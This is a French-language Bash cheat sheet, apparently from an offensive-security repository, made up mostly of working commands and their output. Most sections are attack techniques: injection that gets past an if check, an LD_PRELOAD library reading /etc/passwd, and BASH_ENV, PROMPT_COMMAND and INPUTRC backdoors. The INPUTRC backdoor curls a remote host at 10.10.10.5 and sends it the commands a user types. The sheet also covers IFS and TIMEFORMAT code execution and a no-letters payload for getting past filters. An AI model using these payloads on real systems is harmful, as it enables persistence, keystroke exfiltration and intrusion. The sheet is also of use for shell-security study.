Fiches Bash

NOTICE:

Ce document sera mis a jour en continu avec les dernieres ameliorations. Tu peux contribuer au projet si tu trouves des problemes ou si tu as des suggestions.

Contourner un if

x='x[$(id>&2)]'
if [[ ! -v "$x" ]]; then
exit 1
fi
uid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)
# Fonctionne aussi avec
$ x='x[$(id>&2)]'
$ if [[ "$x" -eq "" ]]; then
exit 1
fi
uid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)

See Contourner un if implementation.

Variables d'environnement

Astuce rapide: ces exemples jouent sur des variables d'environnement shell.

Injection LD_PRELOAD

$ echo 'int isatty(int fd) { system("cat /etc/passwd"); return 1; }' | gcc -x c -o /tmp/libmistraleuhpwn.so -shared -
$ LD_PRELOAD=./libmistraleuhpwn.so ls

Backdoor BASH_ENV

$ echo 'id >> /tmp/backdoor.log' > /tmp/.bashrc_evil
$ BASH_ENV=/tmp/.bashrc_evil bash -c 'echo "innocent script"'
Bash non interactif source BASH_ENV avant d'executer. Parfait pour backdoors cron/scripts.
innocent script
$ cat /tmp/backdoor.log
uid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)
$ export ENV=/tmp/.bashrc_evil
Les shells POSIX utilisent ENV. Fonctionne sur dash, ash, busybox sh.
$ sh -c 'echo "running sh"'
running sh

RCE via split IFS

$ x='i]d'; IFS=']'; $x
Changer IFS modifie le split des mots par bash
uid=1000(mistrale) gid=1000(mistrale)
$ cmd='c]a]t /]e]t]c]/]p]a]s]s]w]d'
$ IFS=']'; $cmd | head -1
root:x:0:0:root:/root:/bin/bash

Injection PS1/PS4/PROMPT_COMMAND

$ PS1='$(id>/tmp/ps1.log)$ '
$ ls >/dev/null
$ cat /tmp/ps1.log
uid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)
# Beacon C2 a chaque appui sur Enter
$ PS4='+(${BASH_SOURCE}:${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
$ set -x
$ echo test
+(stdin:1): echo test
test
$ PROMPT_COMMAND='id > /tmp/log.log'
S'execute apres chaque commande, avant le prompt. Ideal pour l'exfiltration.
$ rm /tmp/ps1.log /tmp/trace.log 2>/dev/null

Detournement nameref

$ declare wallet_balance=1337
$ printf 'before: %s\n' "$wallet_balance"
before: 1337
$ target_var=wallet_balance
$ declare -n ref="$target_var"
Les strings deviennent des pointeurs vivants. Touchez la ref, vous modifiez l'original.
$ ref=$((ref + 865))
$ printf 'after : %s\n' "$wallet_balance"
after : 2202

Astuce file descriptor

# Sortie normale : fd = 1 (stdout)
$ ls -la
total 728
[...]
-rw-r--r--@ 1 nathan staff 3194 Nov 23 21:40 README.md
drwxr-xr-x@ 17 nathan staff 544 Nov 18 21:41 app
[...]
# Sortie d'erreur : fd = 2 (stderr)
$ ls -la >&2
total 728
[...]
-rw-r--r--@ 1 nathan staff 3194 Nov 23 21:40 README.md
drwxr-xr-x@ 17 nathan staff 544 Nov 18 21:41 app
[...]
# Entree: fd = 0 (stdin)
$ /bin/bash -c 'ls -la >&0' >&/dev/null
total 728
[...]
-rw-r--r--@ 1 nathan staff 3194 Nov 23 21:40 README.md
drwxr-xr-x@ 17 nathan staff 544 Nov 18 21:41 app
[...]

Exfiltration BASH_XTRACEFD

# BASH_XTRACEFD - Rediriger xtrace vers n'importe quel FD
$ exec 3>/tmp/trace.log
$ BASH_XTRACEFD=3
$ set -x
$ id
uid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)

Injection INPUTRC

# INPUTRC - Detourner les keybindings readline
$ cat > /tmp/.inputrc << 'INEOF'
# Ctrl+L nettoie l'ecran ET execute le payload
"\C-l": "\C-uclear; curl -s http://10.10.10.5/beacon\C-m"
# Enter log la commande avant execution
RETURN: "\C-e | tee -a /tmp/cmd.log\C-m"
# Ctrl+C envoie la commande avant SIGINT
"\C-c": "\C-a\C-k curl -s 'http://10.10.10.5/abort?c=\C-y' &\C-m\C-c"
INEOF
$ export INPUTRC=/tmp/.inputrc
$ bash # Nouveau shell charge inputrc
# Chaque Enter, Ctrl+C, Ctrl+L est backdoore

RCE TIMEFORMAT

$ # TIMEFORMAT - RCE via builtin time
$ TIMEFORMAT=$'real\t%R\n$(id>/tmp/time.log)'
$ time sleep 0.01
real 0.012
$ cat /tmp/time.log
uid=1000(mistrale) gid=1000(mistrale) groups=1000(mistrale)

See Variables d'environnement implementation.

Astuces globbing

Petites astuces de globbing pour contourner des filtres.

$ ls
README.md docs node_modules package-lock.json package.json
$ ls *a*
package-lock.json package.json
$ ls p?ck*
package-lock.json package.json
$ ls -l [A-Z][A-Z][A-Z][A-Z][A-Z][A-Z].[a-z][a-z]
-rwxrwxrwx 1 MisTrale MisTrale 590 Apr 30 20:14 README.md
$ eval {j..m}{m..u}\;
jm: command not found
jr: command not found
[...]
README.md docs node_modules package-lock.json package.json
[...]
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ sudo !!
root:*:19478:0:99999:7:::
$ echo "Welcome, my name is MisTraleuh" > /tmp/local
$ cat !$
Welcome, my name is MisTraleuh

See Astuces globbing implementation.

Sans alphabet

Variantes sans alphabet pour contourner des contraintes.

# https://github.com/dr0n1/nonalpha_rce_bash
# ls /
bash$ __=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\<\<\<\$'\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}${__}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))'
Applications Users cores home sbin var
Library Volumes dev opt tmp
System bin etc private usr

See Sans alphabet implementation.

Bugs Alpine

Une section sur des particularites d'Alpine.

# Sur alpine
$ a=$(echo -e '\xffz'); if [[ $a =~ 'z' ]]; then echo 1; else echo 0; fi
0
# Sur vrai bash
$ a=$(echo -e '\xffz'); if [[ $a =~ 'z' ]]; then echo 1; else echo 0; fi
1

See Bugs Alpine implementation.